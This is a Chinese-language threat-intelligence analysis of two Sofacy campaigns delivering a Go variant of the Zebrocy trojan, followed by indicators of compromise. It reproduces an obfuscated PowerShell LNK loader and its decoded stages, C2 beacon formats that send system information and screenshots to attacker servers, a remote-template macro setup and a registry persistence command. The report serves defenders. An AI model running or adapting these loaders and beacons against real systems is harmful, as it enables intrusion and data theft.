内容简介:我们的研究表明,到目前为止,我们一共观察到了两波旨在传播
我们的研究表明, Sofacy 组织仍在继续使用他们的 Zebrocy 木马实施攻击。无论是在 2018 年第一季度的攻击活动 中,还是 在 10 月底和 11 月初 的 攻击活动 中,我们都看到了 Sofacy 组织对该木马的使用。最近, Zebrocy 的开发人员再次使用不同的编程语言—— Go 语言 创建了一个新的 Zebrocy 变种。需要说明的是,使用不同的编程语言来创建具有类似功能的木马变种对于该组织来说并是什么新鲜事。因为,我们在此前的攻击活动中就已经看到了使用 AutoIt 、 Delphi 、 VB.NET 、 C# 和 Visual C++ 等不同编程语言创建的各种 Zebrocy 变种。虽然,我们还不能完全确定 Sofacy 组织这样做的目的。但我们有理由相信,该组织之所以会选择使用多种编程语言来创建他们的木马,极有可能是为了增加其木马逃过安全检测的机率。
到目前为止,我们一共观察到了两波旨在传播 Go Zebrocy 变种的攻击。第一波攻击发生在 10 月 11 日,攻击媒介是一封以一个 LNK 快捷方式文件作为其附件的鱼叉式网络钓鱼电子邮件。这个 LNK 文件被用于运行多个 PowerShell 脚本,以提取将要安装和执行的 payload 。但是,由于这些 PowerShell 脚本存在编码错误,因此它们无法正确安装或执行 payload 。换句话来说,在本文中讨论的攻击是不可能取得成功的,但其技术细节仍值得探讨,因为这有助于我们掌握 Sofacy 攻击活动的发展趋势。值得一提的是,其中一个 Go Zebrocy 样本与此前 Sofacy 组织在 10 月中旬到 11 月中旬进行的 Dear Joohn 行动 联系在了一起。
第一波攻击
这起攻击发生在 2018 年 10 月 11 日,攻击媒介是一封鱼叉式网络钓鱼电子邮件,讨论的是美国新制裁对俄罗斯经济的影响。“ From (发件人)”字段和正文末尾的签名均包含目标组织工作人员的姓名,而“ To (收件人)”字段为空。这使得我们有理由相信,目标个人被包含在了“ Bcc (抄送)”字段中。图 1 展示的是在这起攻击中使用的钓鱼电子邮件。
图 1 . 在 Go Zebrocy 攻击中使用的钓鱼电子邮件
Payload
恶意文件 ПротиводействиеДумыСанкциямСША.doc ( SHA256 : d77eb89501b0a60322bc69692007b9b7f1b5a85541a2aaf21caf7baf0fe0049e )试图伪装成 Word 文档,但该文件实际上是一个 LNK 快捷方式文件。在被打开之后,它会尝试在命令提示符中运行以下命令行:
powershell.exe -nop -w 1 $i853=[TeXt.EnCoDING]::utF8.geTStrInG([conVErT]::frOmbaSE64stRing('JHAxLCRwMj0zNjU5LDY5MjQ3NjQ7JHBhdGhUb0xOSz0nQzUgcmVnaW9uYWwgY29uZmVyZW5jZSBhbmQgdHJhaW5pbmcgd29ya3Nob3Agb24gY29tbXVuaXR5IHBvbGljaW5nKDEpLmRvY3gubG5rJztpZigtbk9UKFRlU3QtcEF0SCAkcGF0aFRvTE5LKSl7JERpckQ9R2VULUNISUxkSVRFTSAtcEF0aCAkZW52OnRlbXAgLWZpTFRlciAkcGF0aFRvTE5LIC1yRWNVclNFO1tpTy5kaVJlY3RvUlldOjpzRVRDVXJyZW50RElyRWN0b1JZKCREaXJELmRJcmVDVE9SWU5BTWUpO30kRmlsZVN0cmVhbWE9bkV3LW9iakVDVCBpby5mSUxlU1RyZUFtICRwYXRoVG9MTkssJ09wZU4nLCdSZUFkJywncmVhRHdSSVRFJzskQXJyYXlNYXM9TkV3LW9iamVjVCBieVRFW10oJHAyKTskRmlsZVN0cmVhbWEuU0VlSygkcDEsW2lvLlNlRUtvUmlHaW5dOjpCRUdpbik7JEZpbGVTdHJlYW1hLnJFQUQoJEFycmF5TWFzLDAsJHAyKTskQXJyYXlNYXM9W0NvbnZlclRdOjpGck9tYmFzRTY0Q0hhckFyUkF5KCRBcnJheU1hcywwLCRBcnJheU1hcy5MZU5HVGgpOyRkdWFjYWp1QT1bdGV4VC5FbkNPZEluR106OlVuaWNvZGUuZ0VUc3RSSW5nKCRBcnJheU1hcyk7aWVYICRkdWFjYWp1QTs='));ieX $i853;
接下来,它会使用一个 PowerShell 脚本对第二个 PowerShell 脚本进行 base64 解码,并执行它。第二个 PowerShell 脚本解码后的内容如下:
$p1,$p2=3659,6924764;$pathToLNK='C5 regional conference and training workshop on community policing(1).docx.lnk';if(-nOT(TeSt-pAtH $pathToLNK)){$DirD=GeT-CHILdITEM -pAth $env:temp -fiLTer $pathToLNK -rEcUrSE;[iO.diRectoRY]::sETCUrrentDIrEctoRY($DirD.dIreCTORYNAMe);}$FileStreama=nEw-objECT io.fILeSTreAm $pathToLNK,'OpeN','ReAd','reaDwRITE';$ArrayMas=NEw-objecT byTE[]($p2);$FileStreama.SEeK($p1,[io.SeEKoRiGin]::BEGin);$FileStreama.rEAD($ArrayMas,0,$p2);$ArrayMas=[ConverT]::FrOmbasE64CHarArRAy($ArrayMas,0,$ArrayMas.LeNGTh);$duacajuA=[texT.EnCOdInG]::Unicode.gETstRIng($ArrayMas);ieX $duacajuA;
第二个 PowerShell 脚本脚本会尝试直接从上述 LNK 文件中提取另一个 PowerShell 脚本,然后执行它。但由于某种未知的原因,第二个 PowerShell 脚本包含的是一个错误的 LNK 文件名—— C5 regional conference and training workshop on community policing(1).docx.lnk ,而不是上述 ПротиводействиеДумыСанкциямСША.doc 。由于该 LNK 文件名与电子邮件附件的文件名不匹配,因此攻击不会取得成功,因为第二个 PowerShell 脚本将无法提取到将要安装在系统上的 payload 。我们怀疑, C5 regional conference and training workshop on community policing(1).docx.lnk 可能是在早期活动中被使用过的恶意文档,而 Zebrocy 的开发人员似乎忘了对它进行修改似乎忘了对它进行修改。
如果该脚本包含的是正确的文件名,那么它将使用硬编码偏移量“ 3659 ”找到 LNK 文件中的 PowerShell 脚本,然后提取并执行它。从 LNK 文件中提取的最后一个 PowerShell 脚本包含以下内容(为了便于查看,我们在这里使用“ [..snip ..] ”替换了一些数据):
$6vlJwyyB = @('C5 regional conference and training workshop on community policing(1).exe','C5 regional conference and training workshop on community policing(1).docx');$TcCd3Fej = "C5 regional conference and training workshop on community policing(1).exe";$Aq3NkyDG = @("TVqQAAMA[..snip..]","UEsDBBQABgAIAA[..snip..]");$ggdDQhlx = "C5 regional conference and training workshop on community policing(1).docx";FOR($I=0;$I -lt $6vLjwYYb.LengTH;$i++){[BYtE[]]$YGktk0Nk = [cOnveRt]::frOmBaSE64StriNg($aq3nkYDg[$I]);[syStEm.IO.fILE]::WrItEaLlbYtES($EnV:pUbLIc+""+$6VLJwYYB[$I],$YGktK0nk);}$qsVmUm76 = $Env:public+""+$tCcd3Fej;$GGdDQhLxPatH = $env:publIC+""+$gGddQHLX;staRT-pROCess -wINDowstylE HIDdeN -FIlepAth $qsVMuM76;StART-ProceSs -FilepaTh $GgDdQHlxpATH;
最后一个 PowerShell 脚本被用于解码将要写入 %PUBLIC% 文件夹中的一个可执行文件和一份 Word 文档,它们的文件名分别为 C5 regional conference and training workshop on community policing(1).exe 和 C5 regional conference and training workshop on community policing(1).docx 。解码后的 Word 文档内容( SHA256 : b6b2f6aae80cba3fa142bd216decc1f6db024a5ab46d9c21cf6e4c1ab0bbe58b )如图 2 所示,看上去是一份会议议程。该会议于 2018 年 6 月 18 日至 20 日在塔吉克斯坦杜尚别举行,由 安全世界国际组织 ( Saferworld ) 和 美国和平研究所( United States Institute of Peace , USIP ) 主办。
图 2. 在 Go Zebrocy 安装过程中打开的诱饵文档
而解码后的可执行文件便是 payload ( SHA256 : fcf03bf5ef4babce577dd13483391344e957fd2c855624c9f0573880b8cba62e ),它是使用 Go 语言编写的,是 Zebrocy 木马的另一个变种。使用另一种编程语言来创建具有类似功能的木马变种对于 Sofacy 组织来说很平常,正如我们所看到的那样,该组织此前已经使用 AutoIt 、 Delphi 、 VB.NET 、 C# 和 Visual C++ 创建了多个不同的 Zebrocy 变种。
这个 payload 与此前的 Zebrocy 变种之间存在大量的相似之处。与其他 Zebrocy 变种一样,这个采用 Go 语言编写的 Zebrocy 变种也会在受感染系统上进行初始信息收集,并将这些信息传输给 C2 服务器,以及尝试从 C2 下载、安装和执行其他 payload 。此外, Go Zebrocy 一些行为方面也与其他变种之间存在一些相似之处,这包括:
l 使用十六进制 ASCII 码混淆字符串
l 使用的卷序列号不包含从 VOL 命令中获取到的连字符
l 使用来自出站 C2 beacon 中的“ systeminfo ”和“ tasklist ”的输出
l 在 C2 beacon 中使用字符串“ PrgStart ”
Go Zebrocy 和其他变种之间最明显的相似之处在于使用了一个相同的 C2 URL —— hxxp://89.37.226[.]148/technet-support/library/online-service-description.php?id_name= ,这个 URL 同样也被 Delphi Zebrocy 变种样本 de31a8a9110b32a82843e9216a3378cc1c5ea972a6bb2261ec111efb82f31e71 和 daf990f0b6564c3ac87fa87e325e6ffc907ed43ae65a3f088a42b5b120612593 所使用。
Go Zebrocy 试图通过检查其进程的可执行文件名中是否包含“ ) ”字符来逃避自动分析。如果文件名不包含“ ) ”字符,那么它会立即退出,而不执行其功能代码。
另一方面,这个 Zebrocy 变种使用了 HTTP POST 请求来与其 C2 进行交互,而收集的系统信息就包含在 HTTP POST 请求中。具体来说,这些系统信息包括:
l 通过“ tasklist ”命令收集的正在运行的进程。
l 通过“ systeminfo ”命令的收集系统信息。
l 通过 WMI 命令“ wmic logicaldisk get caption,description,drivetype,providername,size ”收集的本地磁盘信息。
l 使用 开源 Go 库 抓取的桌面屏幕截图。
Go Zebrocy 与其 C2 之间的 C2 通信具有如下结构:
POST /technet-support/library/online-service-description.php?id_name=[serial number from VOL command with hyphen removed] HTTP/1.1 Host: 89.37.226[.]148 User-Agent: Go-http-client/1.1 Content-Length: 570690 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip attach=PrgStart%3A[运行木马的路径]%0D%0A%5B[当前时间]%5D%0D%0A%0D%0A[来自“wmic logicaldisk get caption,description,drivetype,providername,size命令的结果”]%0D%0D%0A%0D%0D%0A%0D%0A%0D%0A[来自“systeminfo”命令的结果]%0D%0A%0D%0A%0D%0A[来自“tasklist”命令的结果]%0D%0A&support=[转换为十六进制ASCII码的屏幕截图]
C2 将以十六进制 ASCII 码编码的 payload 作为对此 HTTP POST 请求的响应, payload 将被解码并保存为如下文件:
%APPDATA%Identities{83AF1378-986F-1673-091A-02681FA62C3B}w32srv.exe
然后, payload 将使用 golang os/exec 执行这个新创建的文件,其中涉及到使用 “Command” 和 “Run” 函数运行以下命令行:
cmd /C %APPDATA%Identities{83AF1378-986F-1673-091A-02681FA62C3B}w32srv.exe
第二波攻击
如上所述,我们观察到的第二波旨在传播 Go Zebrocy 变种的攻击与 我们之前 讨论 过 的“ Dear Joohn 行动” 存在一定联系。虽然 Dear Joohn 行动发生在 2018 年 10 月中旬至 11 月中旬,而用于传播 Go Zebrocy 变种的恶意文档( SHA256 : 346e5dc097b8653842b5b4acfad21e223b7fca976fb82b8c10d9fa4f3747dfa0 )是在 12 月 3 日创建的,但该恶意文档同样使用了 Joohn 这个作者名。
与 Dear Joohn 行动一样,该恶意文档也会通过 HTTP 下载一个远程模板( SHA256 : 07646dc0a8c8946bb78be9b96147d4327705c1a3c3bd3fbcedab32c43d914305 ),而该模板同样使用了出现在 Dear Joohn 行动中的作者名: xxx 。在打开该恶意文档之后,可以看到如图 3 所示的诱饵图片,它旨在诱使收件人点击“ Enable Content (启用内容)”,以运行包含在远程模板中的恶意宏。
图 3. 旨在诱使收件人用户点击 “Enable Content (启用内容) ” 按钮的诱饵图片
恶意文档被配置为从 hxxps://bit[.]ly/2G8QrgL 下载远程模板,如下图所示(这个短网址包含在文档的 word/_rels/settings.xml.rels 文件中):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="hxxps://bit[.]ly/2G8QrgL" TargetMode="External"/></Relationships>
上述 hxxps://bit[.]ly/2G8QrgL 短网址会重定向到一个托管远程模板 hxxp://89.37.226[.]123/Templates/NormalOld.dotm 的 URL 。值得注意的是,此前出现在 Dear Joohn 行动中的恶意文档并没有使用短网址来下载远程模板,这表明在此行动中使用的技术已经发生了改变。幸运的是,这个短网址为我们提供了一些有关访问者及其所处国家的统计数据。如图 4 所示,这个短网址是在 2018 年 12 月 3 日下午 12:56 创建的,截止到 2018 年 12 月 5 日,一共被访问了 75 次,其中大部分来自土耳其。
图 4. 短网址的访问统计数据( 2018 年 12 月 5 日)
通过这个短网址下载的远程模板包含一个类似于出现在 Dear Joohn 行动中的恶意宏。不同之处在于,它被用于从远程模板( SHA256 : c817aab6e8dcaeaeae817a85ba209c0ca690be58b91e6cff0e3f0660336f9506 )中提取一个 ZIP 压缩文件 ,并将其保存为 driver_pack.zip 。这个 ZIP 压缩文件包含一个名为“ driver_pack.exe ”的可执行文件( SHA256 : b48b3d46ebfa6af8a25c007f77e6ed3c32fe4c6478311b8b0c7d6f4f8c82de76 ),而它实际上是一个 WinRAR SFX 可执行文件,其中包含另一个名为“ comsvc.exe ”的可执行文件。这个 WinRAR SFX 存档会使用以下 SFX 脚本来提取 comsvc.exe payload :
Path=%APPDATA%AppHistory Setup=comsvc.exe Silent=1 Overwrite=2
上述 comsvc.exe 可执行文件( SHA256 : 93680d34d798a22c618c96dec724517829ec3aad71215213a2dcb1eb190ff9fa )实际上是一个经过 UPX 加壳的 Go Zebrocy 样本( SHA256: 15a866c3c18046022a810aa97eaf2e20f942b8293b9cb6b4d5fb7746242c25b7 )。该样本被用作一个 downloader ,负责从 C2 下载并执行辅助 payload 。
与其他 Zebrocy 变种一样,这个 Go Zebrocy 样本会检查正在运行的进程的路径是否包含“ comsvc ”字符串,以确保 payload 最终会被保存为 comsvc.exe 。如果 Go Zebrocy 样本不是作为 comsvc.exe 运行的,那么它会向 google[.]com 发送一个 HTTP POST 请求,而不是像其他 Zebrocy 变种那样会退出。我们认为,这是另一种用来逃过安全检测的手段。图 5 展示的是 Go Zebrocy 样本发送给 google[.]com 的 HTTP 请求。
图 5.Go Zebrocy 发送给 google[.]com 的 HTTP POST 请求
对图 5 中的 HTTP POST 请求进行解码,我们可以看到发送的数据为 <#0>0<##0><#1>1<##1><#2>1<##2> ,并不包含任何收集的系统信息。在该样本作为 comsvc.exe 运行的情况,它将通过以下 URL 与 C2 服务器进行通信:
hxxp://89.37.226[.]123/advance/portable_version/service.php
它能够收集硬盘卷序列号,抓取系统的屏幕截图( T1113 ),并使用在 Github 上公开可用的一个名为“ psutil ”的库来收集一些特定的系统信息。具体来说,它将通过调用 psutil 库中的 Host Info 函数来收集系统信息(操作系统、版本等)、系统启动时间、系统正常运行时间、系统的 GUID 以及正在运行的进程的 ID 。随后,它将通过向上述 URL 发送 HTTP POST 请求来将收集到的信息传输给 C2 ,数据结构如下所示:
project=%3C%230%3E4D291F48%3C%23%230%3E%3C%231%3E[硬盘卷序列号]%3C%23%230%3E%3C%231%3E[收集的系统信息]%3C%23%231%3E%3C%232%3E[JPEG格式的屏幕截图]%3C%23%232%3E
HTTP POST 请求中的十六进制字符被用作分隔符,如下所示:
<#0>[硬盘卷序列号]<##0><#1>[收集的系统信息]<##1><#2>[ JPEG格式的屏幕截图]<##2>
C2 将使用十六进制编码的 payload 作为对上述请求的响应,而 Go Zebrocy 会将它保存到系统并执行。另外, Go Zebrocy 还会将下载的辅助 payload 写入以下文件:
%LOCALAPPDATA%MicrosoftFeeds{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~wcncsvc.exe
在执行这个文件之前, Go Zebrocy 将首先创建一个开机自启动注册表项,以便在每次用户使用以下命令行登录系统时辅助 payload 都能自动运行:
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionRun /v Media Center Extender Service
从 C2 下载的辅助 payload 实际上是另一个使用 Go 语言编写的木马 (SHA256: 50d610226aa646dd643fab350b482196918305aaa86f9dbd356c78a19204cc) ,只是攻击者使用 UPX 对它进行了加壳( SHA256: ee9218a451c455fbca45460c0a27e1881833bd2a05325ed60f30bd4d14bb2fdc )。这个辅助 payload 是另一个使用 HTTPS 而不是 HTTP 进行 C2 通信的 downloader 。它使用如下 URL 作为它的 C2 ,并与其进行通信。
hxxps://190.97.167[.]186/pkg/image/do.php
通过 HTTPS 发送的 HTTP POST 请求如下图所示,它包含硬盘卷序列号的前四个字节和主机名的前四个字符,如图 6 所示。
图 6. 由辅助 payload 发送的 HTTP POST 请求
总结
Sofacy 组织仍在继续使用 Zebrocy 木马变种来实施攻击,而 Zebrocy 的开发人员也仍在继续使用不同的编码语言创建该木马的新变种,比如 Go 语言。 Zebrocy 的开发人员在 LNK 快捷方式文件上似乎犯了一些严重的错误,导致攻击最终以失败告终。不过,无论攻击的有效性如何,对技术细节的分析仍然有助于我们预测该组织可能会在未来的攻击中使用的 payload 和基础设施。可以肯定的是, Sofacy 组织必然会在不同的攻击活动中使用这些新的 Zebrocy 变种。因为,就拿 Go Zebrocy 变种来说,它不仅能够通过 LNK 快捷方式文件进行传播,而且还能够通过 Word 文档进行传播。
IOC
Go Zebrocy 变种:
fcf03bf5ef4babce577dd13483391344e957fd2c855624c9f0573880b8cba62e
93680d34d798a22c618c96dec724517829ec3aad71215213a2dcb1eb190ff9fa
Go Zebrocy C2 :
hxxp://89.37.226[.]148/technet-support/library/online-service-description.php
89.37.226[.]148
hxxp://89.37.226[.]123/advance/portable_version/service.php
89.37.226[.]123
相关的 Zebrocy 样本:
de31a8a9110b32a82843e9216a3378cc1c5ea972a6bb2261ec111efb82f31e71
daf990f0b6564c3ac87fa87e325e6ffc907ed43ae65a3f088a42b5b120612593
308b41db9e3b332bb5b3e5ec633907761eac5082029b8b32e6b063b8c76b7365
f93b89a707c647ba492efe4515bb69a627ce14f35926ee4147e13d2e030ab55b
1ff4e56419ad1814726ca143fc256cca4c8588605536c48dd79cfed12cb0763a
与 Dear Joohn 行动相关的散列值:
346e5dc097b8653842b5b4acfad21e223b7fca976fb82b8c10d9fa4f3747dfa0 – 恶意文档
07646dc0a8c8946bb78be9b96147d4327705c1a3c3bd3fbcedab32c43d914305 – 远程模板
c817aab6e8dcaeaeae817a85ba209c0ca690be58b91e6cff0e3f0660336f9506 – 远程模板中的 ZIP 文件
b48b3d46ebfa6af8a25c007f77e6ed3c32fe4c6478311b8b0c7d6f4f8c82de76 –ZIP 文件中的 WinRAR SFX 文件
93680d34d798a22c618c96dec724517829ec3aad71215213a2dcb1eb190ff9fa – Go Zebrocy 样本
50d610226aa646dd643fab350b48219626918305aaa86f9dbd356c78a19204cc – 辅助 payload
与 Dear Joohn 行动相关的 URL :
hxxps://bit[.]ly/2G8QrgL – 远程模板短网址
hxxp://89.37.226[.]123/Templates/NormalOld.dotm – 远程模板 URL
hxxp://89.37.226[.]123/advance/portable_version/service.php – Go Zebrocy HTTP C2
hxxps://190.97.167[.]186/pkg/image/do.php – 辅助 payload HTTPS C2
辅助 payload 散列值:
50d610226aa646dd643fab350b48219626918305aaa86f9dbd356c78a19204cc
辅助 payload C2 :
hxxps://190.97.167[.]186/pkg/image/do.php
190.97.167[.]186
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 微软字处理软件Word曝出新漏洞
- iOS底层原理:Runtime研究,玩出新花样
- 微软为吸引用户使用 Edge 浏览器又祭出新“方法”
- 360品牌年轻化又出新招,这一次和KFC推出黑客主题餐厅
- 勒索病毒与时俱进玩出新花样,黑色产业链恐更难斩断
- 用AI对抗AI 阿里安全图灵实验室开发出新一代智能验证码
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。